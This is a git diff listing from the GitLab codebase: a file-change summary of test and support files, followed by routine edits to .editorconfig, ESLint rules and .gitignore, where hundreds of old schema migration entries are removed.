-rw-r--r--spec/services/design_management/move_designs_service_spec.rb26
-rw-r--r--spec/services/error_tracking/list_projects_service_spec.rb2
-rw-r--r--spec/services/event_create_service_spec.rb120
-rw-r--r--spec/services/git/branch_hooks_service_spec.rb2
-rw-r--r--spec/services/git/branch_push_service_spec.rb65
-rw-r--r--spec/services/git/wiki_push_service_spec.rb38
-rw-r--r--spec/services/ide/base_config_service_spec.rb53
-rw-r--r--spec/services/ide/schemas_config_service_spec.rb53
-rw-r--r--spec/services/ide/terminal_config_service_spec.rb69
-rw-r--r--spec/services/incident_management/create_incident_label_service_spec.rb7
-rw-r--r--spec/services/incident_management/incidents/create_service_spec.rb49
-rw-r--r--spec/services/issuable/common_system_notes_service_spec.rb35
-rw-r--r--spec/services/issue_links/create_service_spec.rb184
-rw-r--r--spec/services/issue_links/destroy_service_spec.rb69
-rw-r--r--spec/services/issue_links/list_service_spec.rb194
-rw-r--r--spec/services/issue_rebalancing_service_spec.rb101
-rw-r--r--spec/services/issues/close_service_spec.rb11
-rw-r--r--spec/services/issues/create_service_spec.rb83
-rw-r--r--spec/services/issues/duplicate_service_spec.rb11
-rw-r--r--spec/services/issues/export_csv_service_spec.rb4
-rw-r--r--spec/services/issues/move_service_spec.rb74
-rw-r--r--spec/services/issues/related_branches_service_spec.rb2
-rw-r--r--spec/services/issues/reopen_service_spec.rb11
-rw-r--r--spec/services/issues/reorder_service_spec.rb34
-rw-r--r--spec/services/issues/resolve_discussions_spec.rb2
-rw-r--r--spec/services/issues/update_service_spec.rb179
-rw-r--r--spec/services/issues/zoom_link_service_spec.rb7
-rw-r--r--spec/services/jira/requests/projects/list_service_spec.rb4
-rw-r--r--spec/services/jira_connect/sync_service_spec.rb62
-rw-r--r--spec/services/jira_connect_subscriptions/create_service_spec.rb48
-rw-r--r--spec/services/lfs/push_service_spec.rb93
-rw-r--r--spec/services/members/destroy_service_spec.rb4
-rw-r--r--spec/services/merge_requests/base_service_spec.rb58
-rw-r--r--spec/services/merge_requests/build_service_spec.rb6
-rw-r--r--spec/services/merge_requests/cleanup_refs_service_spec.rb146
-rw-r--r--spec/services/merge_requests/close_service_spec.rb6
-rw-r--r--spec/services/merge_requests/conflicts/list_service_spec.rb3
-rw-r--r--spec/services/merge_requests/create_pipeline_service_spec.rb25
-rw-r--r--spec/services/merge_requests/create_service_spec.rb83
-rw-r--r--spec/services/merge_requests/delete_non_latest_diffs_service_spec.rb2
-rw-r--r--spec/services/merge_requests/merge_service_spec.rb46
-rw-r--r--spec/services/merge_requests/post_merge_service_spec.rb8
-rw-r--r--spec/services/merge_requests/refresh_service_spec.rb6
-rw-r--r--spec/services/merge_requests/update_service_spec.rb65
-rw-r--r--spec/services/metrics/dashboard/gitlab_alert_embed_service_spec.rb3
-rw-r--r--spec/services/note_summary_spec.rb2
-rw-r--r--spec/services/notes/create_service_spec.rb14
-rw-r--r--spec/services/notes/quick_actions_service_spec.rb141
-rw-r--r--spec/services/notification_service_spec.rb390
-rw-r--r--spec/services/packages/composer/create_package_service_spec.rb10
-rw-r--r--spec/services/packages/conan/create_package_service_spec.rb10
-rw-r--r--spec/services/packages/maven/create_package_service_spec.rb4
-rw-r--r--spec/services/packages/npm/create_package_service_spec.rb13
-rw-r--r--spec/services/packages/nuget/create_package_service_spec.rb7
-rw-r--r--spec/services/packages/pypi/create_package_service_spec.rb18
-rw-r--r--spec/services/pages/delete_services_spec.rb38
-rw-r--r--spec/services/product_analytics/build_activity_graph_service_spec.rb33
-rw-r--r--spec/services/projects/after_rename_service_spec.rb46
-rw-r--r--spec/services/projects/alerting/notify_service_spec.rb136
-rw-r--r--spec/services/projects/container_repository/delete_tags_service_spec.rb16
-rw-r--r--spec/services/projects/container_repository/gitlab/delete_tags_service_spec.rb51
-rw-r--r--spec/services/projects/destroy_service_spec.rb456
-rw-r--r--spec/services/projects/fork_service_spec.rb38
-rw-r--r--spec/services/projects/hashed_storage/base_attachment_service_spec.rb2
-rw-r--r--spec/services/projects/lfs_pointers/lfs_download_service_spec.rb57
-rw-r--r--spec/services/projects/lfs_pointers/lfs_link_service_spec.rb6
-rw-r--r--spec/services/projects/open_issues_count_service_spec.rb8
-rw-r--r--spec/services/projects/overwrite_project_service_spec.rb2
-rw-r--r--spec/services/projects/prometheus/alerts/notify_service_spec.rb5
-rw-r--r--spec/services/projects/propagate_service_template_spec.rb139
-rw-r--r--spec/services/projects/transfer_service_spec.rb27
-rw-r--r--spec/services/projects/unlink_fork_service_spec.rb38
-rw-r--r--spec/services/projects/update_pages_configuration_service_spec.rb9
-rw-r--r--spec/services/projects/update_pages_service_spec.rb4
-rw-r--r--spec/services/projects/update_remote_mirror_service_spec.rb66
-rw-r--r--spec/services/projects/update_service_spec.rb63
-rw-r--r--spec/services/quick_actions/interpret_service_spec.rb97
-rw-r--r--spec/services/releases/create_service_spec.rb2
-rw-r--r--spec/services/resource_events/synthetic_milestone_notes_builder_service_spec.rb23
-rw-r--r--spec/services/snippets/create_service_spec.rb2
-rw-r--r--spec/services/snippets/update_service_spec.rb18
-rw-r--r--spec/services/static_site_editor/config_service_spec.rb64
-rw-r--r--spec/services/submit_usage_ping_service_spec.rb16
-rw-r--r--spec/services/system_note_service_spec.rb44
-rw-r--r--spec/services/system_notes/alert_management_service_spec.rb13
-rw-r--r--spec/services/system_notes/issuables_service_spec.rb90
-rw-r--r--spec/services/task_list_toggle_service_spec.rb8
-rw-r--r--spec/services/todo_service_spec.rb58
-rw-r--r--spec/services/two_factor/destroy_service_spec.rb97
-rw-r--r--spec/services/users/signup_service_spec.rb25
-rw-r--r--spec/services/webauthn/authenticate_service_spec.rb48
-rw-r--r--spec/services/webauthn/register_service_spec.rb36
-rw-r--r--spec/spec_helper.rb27
-rw-r--r--spec/support/factory_default.rb11
-rw-r--r--spec/support/forgery_protection.rb2
-rw-r--r--spec/support/gitlab_stubs/gitlab_ci_for_sast.yml2
-rw-r--r--spec/support/helpers/ci/source_pipeline_helpers.rb13
-rw-r--r--spec/support/helpers/dns_helpers.rb2
-rw-r--r--spec/support/helpers/docs_screenshot_helpers.rb39
-rw-r--r--spec/support/helpers/fake_u2f_device.rb3
-rw-r--r--spec/support/helpers/fake_webauthn_device.rb74
-rw-r--r--spec/support/helpers/feature_flag_helpers.rb95
-rw-r--r--spec/support/helpers/features/editor_lite_spec_helpers.rb29
-rw-r--r--spec/support/helpers/features/releases_helpers.rb117
-rw-r--r--spec/support/helpers/features/snippet_helpers.rb51
-rw-r--r--spec/support/helpers/features/two_factor_helpers.rb74
-rw-r--r--spec/support/helpers/graphql_helpers.rb33
-rw-r--r--spec/support/helpers/jira_service_helper.rb3
-rw-r--r--spec/support/helpers/login_helpers.rb5
-rw-r--r--spec/support/helpers/markdown_feature.rb8
-rw-r--r--spec/support/helpers/metrics_dashboard_helpers.rb2
-rw-r--r--spec/support/helpers/multipart_helpers.rb91
-rw-r--r--spec/support/helpers/navbar_structure_helper.rb4
-rw-r--r--spec/support/helpers/next_found_instance_of.rb33
-rw-r--r--spec/support/helpers/project_forks_helper.rb16
-rw-r--r--spec/support/helpers/repo_helpers.rb2
-rw-r--r--spec/support/helpers/snowplow_helpers.rb53
-rw-r--r--spec/support/helpers/stub_object_storage.rb2
-rw-r--r--spec/support/helpers/stubbed_feature.rb5
-rw-r--r--spec/support/helpers/test_env.rb19
-rw-r--r--spec/support/helpers/usage_data_helpers.rb17
-rw-r--r--spec/support/helpers/wiki_helpers.rb5
-rw-r--r--spec/support/helpers/workhorse_helpers.rb18
-rw-r--r--spec/support/import_export/configuration_helper.rb4
-rw-r--r--spec/support/matchers/markdown_matchers.rb9
-rw-r--r--spec/support/shared_contexts/features/file_uploads_shared_context.rb7
-rw-r--r--spec/support/shared_contexts/finders/users_finder_shared_contexts.rb1
-rw-r--r--spec/support/shared_contexts/lib/gitlab/middleware/multipart_shared_contexts.rb106
-rw-r--r--spec/support/shared_contexts/navbar_structure_context.rb10
-rw-r--r--spec/support/shared_contexts/policies/project_policy_shared_context.rb75
-rw-r--r--spec/support/shared_contexts/project_service_jira_context.rb2
-rw-r--r--spec/support/shared_contexts/project_service_shared_context.rb20
-rw-r--r--spec/support/shared_contexts/requests/api/conan_packages_shared_context.rb75
-rw-r--r--spec/support/shared_contexts/serializers/group_group_link_shared_context.rb17
-rw-r--r--spec/support/shared_contexts/services_shared_context.rb3
-rw-r--r--spec/support/shared_examples/ci/jobs_shared_examples.rb27
-rw-r--r--spec/support/shared_examples/controllers/binary_blob_shared_examples.rb86
-rw-r--r--spec/support/shared_examples/controllers/instance_statistics_controllers_shared_examples.rb51
-rw-r--r--spec/support/shared_examples/controllers/issuables_list_metadata_shared_examples.rb4
-rw-r--r--spec/support/shared_examples/controllers/unique_hll_events_examples.rb47
-rw-r--r--spec/support/shared_examples/controllers/unique_visits_shared_examples.rb2
-rw-r--r--spec/support/shared_examples/controllers/wiki_actions_shared_examples.rb49
-rw-r--r--spec/support/shared_examples/features/2fa_shared_examples.rb108
-rw-r--r--spec/support/shared_examples/features/editable_merge_request_shared_examples.rb13
-rw-r--r--spec/support/shared_examples/features/error_tracking_shared_example.rb4
-rw-r--r--spec/support/shared_examples/features/file_uploads_shared_examples.rb29
-rw-r--r--spec/support/shared_examples/features/packages_shared_examples.rb4
-rw-r--r--spec/support/shared_examples/graphql/members_shared_examples.rb61
-rw-r--r--spec/support/shared_examples/graphql/mutation_shared_examples.rb7
-rw-r--r--spec/support/shared_examples/graphql/sorted_paginated_query_shared_examples.rb3
-rw-r--r--spec/support/shared_examples/graphql/types/gitlab_style_deprecations_shared_examples.rb52
-rw-r--r--spec/support/shared_examples/lib/banzai/reference_parser_shared_examples.rb6
-rw-r--r--spec/support/shared_examples/lib/gitlab/alert_management/payload.rb34
-rw-r--r--spec/support/shared_examples/lib/gitlab/auth/atlassian_identity_shared_examples.rb10
-rw-r--r--spec/support/shared_examples/lib/gitlab/background_migration/mentions_migration_shared_examples.rb2
-rw-r--r--spec/support/shared_examples/lib/gitlab/kubernetes/network_policy_common_shared_examples.rb13
-rw-r--r--spec/support/shared_examples/lib/gitlab/middleware/multipart_shared_examples.rb145
-rw-r--r--spec/support/shared_examples/lib/gitlab/project_search_results_shared_examples.rb79
-rw-r--r--spec/support/shared_examples/lib/gitlab/repo_type_shared_examples.rb4
-rw-r--r--spec/support/shared_examples/lib/gitlab/search/recent_items.rb87
-rw-r--r--spec/support/shared_examples/lib/gitlab/search_issue_state_filter_shared_examples.rb48
-rw-r--r--spec/support/shared_examples/lib/gitlab/sql/set_operator_shared_examples.rb46
-rw-r--r--spec/support/shared_examples/lib/gitlab/usage_data_counters/incident_management_activity_shared_examples.rb32
-rw-r--r--spec/support/shared_examples/models/chat_slash_commands_shared_examples.rb2
-rw-r--r--spec/support/shared_examples/models/cluster_application_helm_cert_shared_examples.rb2
-rw-r--r--spec/support/shared_examples/models/concerns/from_set_operator_shared_examples.rb42
-rw-r--r--spec/support/shared_examples/models/concerns/limitable_shared_examples.rb13
-rw-r--r--spec/support/shared_examples/models/concerns/timebox_shared_examples.rb2
-rw-r--r--spec/support/shared_examples/models/diff_note_after_commit_shared_examples.rb8
-rw-r--r--spec/support/shared_examples/models/diff_positionable_note_shared_examples.rb2
-rw-r--r--spec/support/shared_examples/models/member_shared_examples.rb10
-rw-r--r--spec/support/shared_examples/models/members_notifications_shared_example.rb2
-rw-r--r--spec/support/shared_examples/models/mentionable_shared_examples.rb10
-rw-r--r--spec/support/shared_examples/models/project_latest_successful_build_for_shared_examples.rb2
-rw-r--r--spec/support/shared_examples/models/relative_positioning_shared_examples.rb419
-rw-r--r--spec/support/shared_examples/models/slack_mattermost_notifications_shared_examples.rb18
-rw-r--r--spec/support/shared_examples/models/throttled_touch_shared_examples.rb2
-rw-r--r--spec/support/shared_examples/models/update_project_statistics_shared_examples.rb4
-rw-r--r--spec/support/shared_examples/models/wiki_shared_examples.rb12
-rw-r--r--spec/support/shared_examples/models/with_uploads_shared_examples.rb10
-rw-r--r--spec/support/shared_examples/path_extraction_shared_examples.rb14
-rw-r--r--spec/support/shared_examples/policies/project_policy_shared_examples.rb44
-rw-r--r--spec/support/shared_examples/requests/api/award_emoji_todo_shared_examples.rb7
-rw-r--r--spec/support/shared_examples/requests/api/boards_shared_examples.rb2
-rw-r--r--spec/support/shared_examples/requests/api/composer_packages_shared_examples.rb24
-rw-r--r--spec/support/shared_examples/requests/api/conan_packages_shared_examples.rb843
-rw-r--r--spec/support/shared_examples/requests/api/custom_attributes_shared_examples.rb16
-rw-r--r--spec/support/shared_examples/requests/api/graphql/mutations/snippets_shared_examples.rb39
-rw-r--r--spec/support/shared_examples/requests/api/nuget_packages_shared_examples.rb2
-rw-r--r--spec/support/shared_examples/requests/api/packages_shared_examples.rb85
-rw-r--r--spec/support/shared_examples/requests/api/pypi_packages_shared_examples.rb2
-rw-r--r--spec/support/shared_examples/requests/api/snippets_shared_examples.rb139
-rw-r--r--spec/support/shared_examples/requests/snippet_shared_examples.rb4
-rw-r--r--spec/support/shared_examples/serializers/diff_file_entity_shared_examples.rb10
-rw-r--r--spec/support/shared_examples/services/alert_management_shared_examples.rb38
-rw-r--r--spec/support/shared_examples/services/common_system_notes_shared_examples.rb2
-rw-r--r--spec/support/shared_examples/services/incident_shared_examples.rb47
-rw-r--r--spec/support/shared_examples/services/issuable_shared_examples.rb31
-rw-r--r--spec/support/shared_examples/services/merge_request_shared_examples.rb62
-rw-r--r--spec/support/shared_examples/services/packages_shared_examples.rb9
-rw-r--r--spec/support/shared_examples/services/snippets_shared_examples.rb17
-rw-r--r--spec/support/shared_examples/services/wiki_pages/destroy_service_shared_examples.rb18
-rw-r--r--spec/support/shared_examples/services/wiki_pages/update_service_shared_examples.rb10
-rw-r--r--spec/support/shared_examples/uploaders/workers/object_storage/migrate_uploads_shared_examples.rb4
-rw-r--r--spec/support/snowplow.rb22
-rw-r--r--spec/support/test_reports/test_reports_helper.rb4
-rw-r--r--spec/tasks/gitlab/backup_rake_spec.rb9
-rw-r--r--spec/tasks/gitlab/db_rake_spec.rb26
-rw-r--r--spec/tasks/gitlab/usage_data_rake_spec.rb35
-rw-r--r--spec/uploaders/object_storage_spec.rb76
-rw-r--r--spec/uploaders/terraform/versioned_state_uploader_spec.rb29
-rw-r--r--spec/views/admin/application_settings/_package_registry.html.haml_spec.rb65
-rw-r--r--spec/views/admin/services/index.html.haml_spec.rb30
-rw-r--r--spec/views/admin/sessions/two_factor.html.haml_spec.rb4
-rw-r--r--spec/views/layouts/nav/sidebar/_admin.html.haml_spec.rb8
-rw-r--r--spec/views/layouts/nav/sidebar/_instance_statistics.html.haml_spec.rb7
-rw-r--r--spec/views/notify/autodevops_disabled_email.text.erb_spec.rb38
-rw-r--r--spec/views/projects/ci/lints/show.html.haml_spec.rb34
-rw-r--r--spec/views/projects/merge_requests/edit.html.haml_spec.rb1
-rw-r--r--spec/views/projects/pipelines/new.html.haml_spec.rb2
-rw-r--r--spec/views/projects/pipelines/show.html.haml_spec.rb26
-rw-r--r--spec/views/registrations/welcome.html.haml_spec.rb26
-rw-r--r--spec/views/search/_results.html.haml_spec.rb37
-rw-r--r--spec/views/shared/deploy_tokens/_form.html.haml_spec.rb62
-rw-r--r--spec/workers/analytics/instance_statistics/count_job_trigger_worker_spec.rb29
-rw-r--r--spec/workers/analytics/instance_statistics/counter_job_worker_spec.rb54
-rw-r--r--spec/workers/ci/build_trace_chunk_flush_worker_spec.rb31
-rw-r--r--spec/workers/ci/create_cross_project_pipeline_worker_spec.rb4
-rw-r--r--spec/workers/ci/pipelines/create_artifact_worker_spec.rb32
-rw-r--r--spec/workers/ci/ref_delete_unlock_artifacts_worker_spec.rb26
-rw-r--r--spec/workers/ci_platform_metrics_update_cron_worker_spec.rb15
-rw-r--r--spec/workers/cluster_update_app_worker_spec.rb2
-rw-r--r--spec/workers/create_pipeline_worker_spec.rb4
-rw-r--r--spec/workers/delete_diff_files_worker_spec.rb6
-rw-r--r--spec/workers/deployments/finished_worker_spec.rb12
-rw-r--r--spec/workers/git_garbage_collect_worker_spec.rb21
-rw-r--r--spec/workers/issue_placement_worker_spec.rb132
-rw-r--r--spec/workers/issue_rebalancing_worker_spec.rb39
-rw-r--r--spec/workers/jira_connect/sync_branch_worker_spec.rb65
-rw-r--r--spec/workers/jira_connect/sync_merge_request_worker_spec.rb30
-rw-r--r--spec/workers/merge_request_cleanup_refs_worker_spec.rb30
-rw-r--r--spec/workers/new_issue_worker_spec.rb22
-rw-r--r--spec/workers/new_merge_request_worker_spec.rb16
-rw-r--r--spec/workers/new_note_worker_spec.rb12
-rw-r--r--spec/workers/pages_remove_worker_spec.rb26
-rw-r--r--spec/workers/pages_transfer_worker_spec.rb38
-rw-r--r--spec/workers/pages_update_configuration_worker_spec.rb8
-rw-r--r--spec/workers/partition_creation_worker_spec.rb14
-rw-r--r--spec/workers/personal_access_tokens/expired_notification_worker_spec.rb28
-rw-r--r--spec/workers/pipeline_update_ci_ref_status_worker_service_spec.rb19
-rw-r--r--spec/workers/post_receive_spec.rb6
-rw-r--r--spec/workers/propagate_integration_worker_spec.rb9
-rw-r--r--spec/workers/propagate_service_template_worker_spec.rb2
-rw-r--r--spec/workers/remote_mirror_notification_worker_spec.rb2
-rw-r--r--spec/workers/remove_unreferenced_lfs_objects_worker_spec.rb6
-rw-r--r--spec/workers/repository_fork_worker_spec.rb2
-rw-r--r--spec/workers/repository_update_remote_mirror_worker_spec.rb2
-rw-r--r--spec/workers/run_pipeline_schedule_worker_spec.rb2
-rw-r--r--tests.yml54
-rwxr-xr-xtooling/bin/find_foss_tests12
-rw-r--r--tooling/lib/tooling/images.rb56
-rw-r--r--vendor/Dockerfile/Binary.Dockerfile2
-rw-r--r--vendor/Dockerfile/Golang.Dockerfile2
-rw-r--r--vendor/assets/stylesheets/select2.scss704
-rw-r--r--vendor/aws/cloudformation/eks_cluster.yaml7
-rw-r--r--[-rwxr-xr-x]vendor/gitignore/C++.gitignore0
-rw-r--r--[-rwxr-xr-x]vendor/gitignore/Java.gitignore0
-rw-r--r--yarn.lock257
6085 files changed, 264716 insertions, 102759 deletions
diff --git a/.editorconfig b/.editorconfig
index 56ce6d87145..932acffe9fc 100644
--- a/.editorconfig
+++ b/.editorconfig
@@ -14,5 +14,5 @@ indent_size = 2
indent_style = space
charset = utf-8
-[*.{md,markdown}]
+[*.{md,markdown,js.snap}]
trim_trailing_whitespace = false
diff --git a/.eslintrc.yml b/.eslintrc.yml
index 827604ced9a..b8683ba803f 100644
--- a/.eslintrc.yml
+++ b/.eslintrc.yml
@@ -17,6 +17,7 @@ settings:
config: './config/webpack.config.js'
rules:
import/no-commonjs: error
+ import/no-default-export: off
no-underscore-dangle:
- error
- allow:
@@ -35,7 +36,7 @@ rules:
# Disabled for now, to make the plugin-vue 4.5 -> 5.0 update smoother
vue/no-confusing-v-for-v-if: error
vue/no-use-v-if-with-v-for: off
- vue/no-v-html: off
+ vue/no-v-html: error
vue/use-v-on-exact: off
# all offenses of no-jquery/no-animate-toggle are false positives ( $toast.show() )
no-jquery/no-animate-toggle: off
diff --git a/.gitignore b/.gitignore
index 38beab164cb..2a07963eecc 100644
--- a/.gitignore
+++ b/.gitignore
@@ -71,6 +71,7 @@ eslint-report.html
/builds*
/.gitlab_workhorse_secret
/.gitlab_pages_secret
+/.gitlab_kas_secret
/webpack-report/
/knapsack/
/rspec_flaky/
@@ -93,513 +94,6 @@ webpack-dev-server.json
.solargraph.yml
apollo.config.js
/tmp/matching_foss_tests.txt
+/tmp/matching_tests.txt
ee/changelogs/unreleased-ee
-# Likely anything 2017 was removed in bac4d96dcfc, 381b706559b, or cfae6ec2647
-db/schema_migrations/2014*
-db/schema_migrations/2015*
-db/schema_migrations/2016*
-db/schema_migrations/2017*
-
-# Removed in 02ea9bc792b9236ea8854154ea5caef1a03b07b4
-db/schema_migrations/20171230123729
-db/schema_migrations/20180101160629
-db/schema_migrations/20180101160630
-db/schema_migrations/20180102220145
-db/schema_migrations/20180103123548
-db/schema_migrations/20180104131052
-db/schema_migrations/20180105212544
-db/schema_migrations/20180109183319
-db/schema_migrations/20180113220114
-db/schema_migrations/20180115094742
-db/schema_migrations/20180115113902
-db/schema_migrations/20180115201419
-db/schema_migrations/20180116193854
-db/schema_migrations/20180119121225
-db/schema_migrations/20180119135717
-db/schema_migrations/20180119160751
-db/schema_migrations/20180122154930
-db/schema_migrations/20180122162010
-db/schema_migrations/20180125214301
-db/schema_migrations/20180129193323
-db/schema_migrations/20180201102129
-db/schema_migrations/20180201110056
-db/schema_migrations/20180201145907
-db/schema_migrations/20180204200836
-db/schema_migrations/20180206200543
-db/schema_migrations/20180208183958
-db/schema_migrations/20180209115333
-db/schema_migrations/20180209165249
-db/schema_migrations/20180212030105
-db/schema_migrations/20180212101828
-db/schema_migrations/20180212101928
-db/schema_migrations/20180212102028
-db/schema_migrations/20180213131630
-db/schema_migrations/20180214093516
-db/schema_migrations/20180214155405
-db/schema_migrations/20180215181245
-db/schema_migrations/20180216120000
-db/schema_migrations/20180216120010
-db/schema_migrations/20180216120020
-db/schema_migrations/20180216120030
-db/schema_migrations/20180216120040
-db/schema_migrations/20180216120050
-db/schema_migrations/20180216121020
-db/schema_migrations/20180216121030
-db/schema_migrations/20180219153455
-db/schema_migrations/20180220150310
-db/schema_migrations/20180221151752
-db/schema_migrations/20180222043024
-db/schema_migrations/20180223120443
-db/schema_migrations/20180223124427
-db/schema_migrations/20180223144945
-db/schema_migrations/20180226050030
-db/schema_migrations/20180227182112
-db/schema_migrations/20180228172924
-db/schema_migrations/20180301010859
-db/schema_migrations/20180301084653
-db/schema_migrations/20180302152117
-db/schema_migrations/20180305095250
-db/schema_migrations/20180305100050
-db/schema_migrations/20180305144721
-db/schema_migrations/20180306074045
-db/schema_migrations/20180306134842
-db/schema_migrations/20180306164012
-db/schema_migrations/20180307012445
-db/schema_migrations/20180308052825
-db/schema_migrations/20180308125206
-db/schema_migrations/20180309121820
-db/schema_migrations/20180309160427
-db/schema_migrations/20180314100728
-db/schema_migrations/20180314145917
-db/schema_migrations/20180315160435
-db/schema_migrations/20180319190020
-db/schema_migrations/20180320182229
-db/schema_migrations/20180323150945
-db/schema_migrations/20180326202229
-db/schema_migrations/20180327101207
-db/schema_migrations/20180330121048
-db/schema_migrations/20180403035759
-db/schema_migrations/20180405101928
-db/schema_migrations/20180405142733
-db/schema_migrations/20180408143354
-db/schema_migrations/20180408143355
-db/schema_migrations/20180409170809
-db/schema_migrations/20180413022611
-db/schema_migrations/20180416155103
-db/schema_migrations/20180417090132
-db/schema_migrations/20180417101040
-db/schema_migrations/20180417101940
-db/schema_migrations/20180418053107
-db/schema_migrations/20180420010016
-db/schema_migrations/20180420010616
-db/schema_migrations/20180420080616
-db/schema_migrations/20180423204600
-db/schema_migrations/20180424090541
-db/schema_migrations/20180424134533
-db/schema_migrations/20180424151928
-db/schema_migrations/20180424160449
-db/schema_migrations/20180425075446
-db/schema_migrations/20180425131009
-db/schema_migrations/20180425205249
-db/schema_migrations/20180426102016
-db/schema_migrations/20180430101916
-db/schema_migrations/20180430143705
-db/schema_migrations/20180502122856
-db/schema_migrations/20180503131624
-db/schema_migrations/20180503141722
-db/schema_migrations/20180503150427
-db/schema_migrations/20180503175053
-db/schema_migrations/20180503175054
-db/schema_migrations/20180503193542
-db/schema_migrations/20180503193953
-db/schema_migrations/20180503200320
-db/schema_migrations/20180504195842
-db/schema_migrations/20180507083701
-db/schema_migrations/20180508055821
-db/schema_migrations/20180508100222
-db/schema_migrations/20180508102840
-db/schema_migrations/20180508135515
-db/schema_migrations/20180511090724
-db/schema_migrations/20180511131058
-db/schema_migrations/20180511174224
-db/schema_migrations/20180512061621
-db/schema_migrations/20180514161336
-db/schema_migrations/20180515005612
-db/schema_migrations/20180515121227
-db/schema_migrations/20180517082340
-db/schema_migrations/20180523042841
-db/schema_migrations/20180523125103
-db/schema_migrations/20180524132016
-db/schema_migrations/20180529093006
-db/schema_migrations/20180529152628
-db/schema_migrations/20180530135500
-db/schema_migrations/20180531185349
-db/schema_migrations/20180531220618
-db/schema_migrations/20180601213245
-db/schema_migrations/20180603190921
-db/schema_migrations/20180604123514
-db/schema_migrations/20180607071808
-db/schema_migrations/20180608091413
-db/schema_migrations/20180608110058
-db/schema_migrations/20180608201435
-db/schema_migrations/20180612103626
-db/schema_migrations/20180613081317
-db/schema_migrations/20180625113853
-db/schema_migrations/20180626125654
-db/schema_migrations/20180628124813
-db/schema_migrations/20180629153018
-db/schema_migrations/20180629191052
-db/schema_migrations/20180702120647
-db/schema_migrations/20180702124358
-db/schema_migrations/20180702134423
-db/schema_migrations/20180704145007
-db/schema_migrations/20180704204006
-db/schema_migrations/20180705160945
-db/schema_migrations/20180706223200
-db/schema_migrations/20180710162338
-db/schema_migrations/20180711103851
-db/schema_migrations/20180711103922
-db/schema_migrations/20180713092803
-db/schema_migrations/20180717125853
-db/schema_migrations/20180718005113
-db/schema_migrations/20180720023512
-db/schema_migrations/20180722103201
-db/schema_migrations/20180723135214
-db/schema_migrations/20180726172057
-db/schema_migrations/20180807153545
-db/schema_migrations/20180808162000
-db/schema_migrations/20180809195358
-db/schema_migrations/20180813101999
-db/schema_migrations/20180813102000
-db/schema_migrations/20180814153625
-db/schema_migrations/20180815040323
-db/schema_migrations/20180815160409
-db/schema_migrations/20180815170510
-db/schema_migrations/20180815175440
-db/schema_migrations/20180816161409
-db/schema_migrations/20180816193530
-db/schema_migrations/20180824202952
-db/schema_migrations/20180826111825
-db/schema_migrations/20180831164905
-db/schema_migrations/20180831164907
-db/schema_migrations/20180831164908
-db/schema_migrations/20180831164909
-db/schema_migrations/20180831164910
-db/schema_migrations/20180901171833
-db/schema_migrations/20180901200537
-db/schema_migrations/20180902070406
-db/schema_migrations/20180906101639
-db/schema_migrations/20180907015926
-db/schema_migrations/20180910115836
-db/schema_migrations/20180910153412
-db/schema_migrations/20180910153413
-db/schema_migrations/20180912111628
-db/schema_migrations/20180913142237
-db/schema_migrations/20180914162043
-db/schema_migrations/20180914201132
-db/schema_migrations/20180916011959
-db/schema_migrations/20180917172041
-db/schema_migrations/20180924141949
-db/schema_migrations/20180924190739
-db/schema_migrations/20180924201039
-db/schema_migrations/20180925200829
-db/schema_migrations/20180927073410
-db/schema_migrations/20181002172433
-db/schema_migrations/20181005110927
-db/schema_migrations/20181005125926
-db/schema_migrations/20181006004100
-db/schema_migrations/20181008145341
-db/schema_migrations/20181008145359
-db/schema_migrations/20181008200441
-db/schema_migrations/20181009190428
-db/schema_migrations/20181010133639
-db/schema_migrations/20181010235606
-db/schema_migrations/20181013005024
-db/schema_migrations/20181014203236
-db/schema_migrations/20181015155839
-db/schema_migrations/20181016141739
-db/schema_migrations/20181016152238
-db/schema_migrations/20181017001059
-db/schema_migrations/20181019032400
-db/schema_migrations/20181019032408
-db/schema_migrations/20181019105553
-db/schema_migrations/20181022135539
-db/schema_migrations/20181022173835
-db/schema_migrations/20181023104858
-db/schema_migrations/20181023144439
-db/schema_migrations/20181025115728
-db/schema_migrations/20181026091631
-db/schema_migrations/20181026143227
-db/schema_migrations/20181027114222
-db/schema_migrations/20181028120717
-db/schema_migrations/20181030135124
-db/schema_migrations/20181030154446
-db/schema_migrations/20181031145139
-db/schema_migrations/20181031190558
-db/schema_migrations/20181031190559
-db/schema_migrations/20181101091005
-db/schema_migrations/20181101091124
-db/schema_migrations/20181101144347
-db/schema_migrations/20181101191341
-db/schema_migrations/20181105201455
-db/schema_migrations/20181106135939
-db/schema_migrations/20181107054254
-db/schema_migrations/20181108091549
-db/schema_migrations/20181112103239
-db/schema_migrations/20181115140140
-db/schema_migrations/20181116050532
-db/schema_migrations/20181116141415
-db/schema_migrations/20181116141504
-db/schema_migrations/20181119081539
-db/schema_migrations/20181119132520
-db/schema_migrations/20181120082911
-db/schema_migrations/20181120091639
-db/schema_migrations/20181120151656
-db/schema_migrations/20181121101842
-db/schema_migrations/20181121101843
-db/schema_migrations/20181121111200
-db/schema_migrations/20181122160027
-db/schema_migrations/20181123042307
-db/schema_migrations/20181123135036
-db/schema_migrations/20181123144235
-db/schema_migrations/20181126150622
-db/schema_migrations/20181126153547
-db/schema_migrations/20181128123704
-db/schema_migrations/20181129104854
-db/schema_migrations/20181129104944
-db/schema_migrations/20181130102132
-db/schema_migrations/20181203002526
-db/schema_migrations/20181205171941
-db/schema_migrations/20181211092510
-db/schema_migrations/20181211092514
-db/schema_migrations/20181212104941
-db/schema_migrations/20181212171634
-db/schema_migrations/20181219130552
-db/schema_migrations/20181219145520
-db/schema_migrations/20181219145521
-# Removed in 71a3b0e470c64fccbb902390b1f856ee1547a978
-db/schema_migrations/20190225160300
-# Removed in 44f9d16edca328e5bb234b853f0d670ee0b30a26
-db/schema_migrations/20200615101135
-# Removed in cfae6ec2647
-db/schema_migrations/20180502134117
-db/schema_migrations/20180521162137
-db/schema_migrations/20180619121030
-db/schema_migrations/20180723130817
-db/schema_migrations/20180906051323
-db/schema_migrations/20180913051323
-db/schema_migrations/20180916014356
-db/schema_migrations/20181014121030
-db/schema_migrations/20181204154019
-db/schema_migrations/20180103234731
-db/schema_migrations/20180104001824
-db/schema_migrations/20180105233807
-db/schema_migrations/20180109150457
-db/schema_migrations/20180115013218
-db/schema_migrations/20180126165535
-db/schema_migrations/20180131104538
-db/schema_migrations/20180201101405
-db/schema_migrations/20180201192230
-db/schema_migrations/20180206184810
-db/schema_migrations/20180215143644
-db/schema_migrations/20180225180932
-db/schema_migrations/20180302230551
-db/schema_migrations/20180307164427
-db/schema_migrations/20180308234102
-db/schema_migrations/20180314174825
-db/schema_migrations/20180317020334
-db/schema_migrations/20180320142552
-db/schema_migrations/20180325034910
